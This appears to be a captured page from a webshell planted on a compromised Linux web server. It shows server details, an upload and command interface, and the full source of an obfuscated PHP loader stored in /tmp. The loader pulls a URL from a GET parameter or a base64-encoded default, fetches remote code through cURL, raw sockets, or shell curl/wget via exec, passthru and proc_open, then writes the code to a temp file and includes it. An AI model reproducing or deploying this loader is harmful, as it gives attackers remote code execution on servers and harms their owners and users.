403Webshell
Server IP : 172.104.253.219  /  Your IP : 216.73.216.244
Web Server : Apache/2.4.68 (Debian)
System : Linux f9626dc847bb 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/bc9e9aWhsWbY
<?php
/* Loader */

session_start();$u=$_SESSION['saowj']??$_GET['s']??base64_decode('aHR0cHM6Ly9naXRsYWIuY29tL2FyZGVhaW5kYWgtZ3JvdXAvYXJkZWFyZXAvLS9yYXcvbWFpbi9tYXNzeG4udHh0');if(!$u)exit;

 $f=[
'sf'=>'fil'.'e_'.'get_'.'co'.'nten'.'ts',
'tqh'=>"\x66\x6f\x70\x65\x6e",
'mzt'=>"\x73\x74\x72\x65\x61\x6d\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
'nks'=>"\x66\x63\x6c\x6f\x73\x65",
'ws'=>'curl'.'_i'.'nit',
'hj'=>"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74\x5f\x61\x72\x72\x61\x79",
'zv'=>'cu'.'rl_e'.'xe'.'c',
'ns'=>'curl'.'_cl'.'ose',
'amk'=>'fs'.'ocko'.'pen',
'uja'=>"\x73\x74\x72\x65\x61\x6d\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x69\x65\x6e\x74",
'flb'=>"\x73\x6f\x63\x6b\x65\x74\x5f\x63\x72\x65\x61\x74\x65",
'mne'=>"\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74",
'cf'=>"\x73\x6f\x63\x6b\x65\x74\x5f\x77\x72\x69\x74\x65",
'ui'=>'sock'.'et'.'_rea'.'d',
'mf'=>"\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x6f\x73\x65",
'ez'=>'stre'.'am_s'.'oc'.'ke'.'t_'.'shut'.'down',
'owl'=>"\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e",
'csn'=>"\x70\x72\x6f\x63\x5f\x63\x6c\x6f\x73\x65",
'tdp'=>"\x65\x78\x65\x63",
'hzo'=>'sh'.'el'.'l_e'.'xe'.'c',
'kgs'=>'pass'.'th'.'ru',
'nx'=>"\x74\x65\x6d\x70\x6e\x61\x6d",
'lv'=>"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
'whl'=>'unl'.'in'.'k',
'lp'=>"\x73\x79\x73\x5f\x67\x65\x74\x5f\x74\x65\x6d\x70\x5f\x64\x69\x72",
'syb'=>'pa'.'rse_'.'url',
'ip'=>"\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\x61\x6d\x65",
'ofx'=>'stre'.'am'.'_c'.'on'.'tex'.'t_'.'cr'.'ea'.'te',
'va'=>"\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73",
'ni'=>'Sp'.'lFi'.'le'.'Obj'.'ec'.'t',
'qm'=>"\x6f\x62\x5f\x73\x74\x61\x72\x74",
'nhg'=>'ob_g'.'et_'.'cle'.'an'
];
// Simpan ke globals agar bisa diakses dari dalam fungsi
 $GLOBALS['_kzma'] = $f;

function go($z){
    $f = $GLOBALS['_kzma'];   // ambil registry dari globals
    $cx=$f['ofx'](['http'=>['timeout'=>25],'ssl'=>['verify_peer'=>false]]);
    $d=@$f['sf']($z,false,$cx);if(trim($d))return$d;
    if($f['va']($f['ws'])){$h=$f['ws']();$f['hj']($h,[CURLOPT_URL=>$z,CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>25,CURLOPT_SSL_VERIFYPEER=>0]);$r=$f['zv']($h);$f['ns']($h);if(trim($r))return$r;}
    try{$r=new $f['ni']($z);$b='';while(!$r->eof())$b.=$r->fgets();if(trim($b))return$b;}catch(Exception$x){}
    $fp=@$f['tqh']($z,'r',false,$f['ofx'](['http'=>['timeout'=>25]]));if($fp){$d=$f['mzt']($fp);$f['nks']($fp);if(trim($d))return$d;}
    $p=$f['syb']($z);$hn=$p['host'];$pt=$p['path'];$po=($p['scheme']=='https')?443:80;
    if($hn){
        $s=@$f['amk']($hn,$po,$x,$y,25);if($s){fwrite($s,"GET $pt HTTP/1.1\r\nHost:$hn\r\nC:close\r\n\r\n");$r='';while(!feof($s))$r.=fgets($s);fclose($s);$i=strpos($r,"\r\n\r\n");if($i!==false)return substr($r,$i+4);}
        $ad=(($p['scheme']=='https')?'ssl://':'tcp://')."$hn:$po";$sk=@$f['uja']($ad,$en,$es,25);if($sk){fwrite($sk,"GET $pt HTTP/1.1\r\nHost:$hn\r\nC:close\r\n\r\n");$d=$f['mzt']($sk);$f['ez']($sk,STREAM_SHUT_RDWR);$i=strpos($d,"\r\n\r\n");if($i!==false)return substr($d,$i+4);}
        if($f['va']($f['flb'])){$ip=$f['ip']($hn);if($ip!=$hn){$s=@$f['flb'](AF_INET,SOCK_STREAM,SOL_TCP);if($s&&@$f['mne']($s,$ip,$po)){$f['cf']($s,"GET $pt HTTP/1.1\r\nHost:$hn\r\nC:close\r\n\r\n");$bf='';while($c=@$f['ui']($s,1024))$bf.=$c;$f['mf']($s);$i=strpos($bf,"\r\n\r\n");if($i!==false)return substr($bf,$i+4);}}}
    }
    $safe=escapeshellarg($z);
    foreach(["curl -sL --max-time 25 $safe","wget -qO- --timeout=25 $safe"] as$cmd){
        if($f['va']($f['owl'])){$pr=@$f['owl']($cmd,[[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]],$pi);if(is_resource($pr)){fclose($pi[0]);$o=$f['mzt']($pi[1]);fclose($pi[1]);fclose($pi[2]);$f['csn']($pr);if(trim($o))return$o;}}
        if($f['va']($f['tdp'])){@$f['tdp']($cmd.'2>&1',$o,$rv);if(!$rv&&$o)return join("\n",$o);}
        if($f['va']($f['hzo'])){$o=@$f['hzo']($cmd.'2>&1');if(trim($o))return$o;}
        if($f['va']($f['kgs'])){$f['qm']();@$f['kgs']($cmd.'2>&1',$rv);$o=$f['nhg']();if(!$rv&&trim($o))return$o;}
    }return null;
}

function doIt($c){
    $f = $GLOBALS['_kzma'];   // ambil registry dari globals
    if(!trim($c))return;
    $t=$f['lp']();$tmp=$f['nx']($t,'_');@$f['lv']($tmp,$c);include$tmp;@$f['whl']($tmp);
}

 $d=go($u);if($d)doIt($d);

Youez - 2016 - github.com/yon3zu
LinuXploit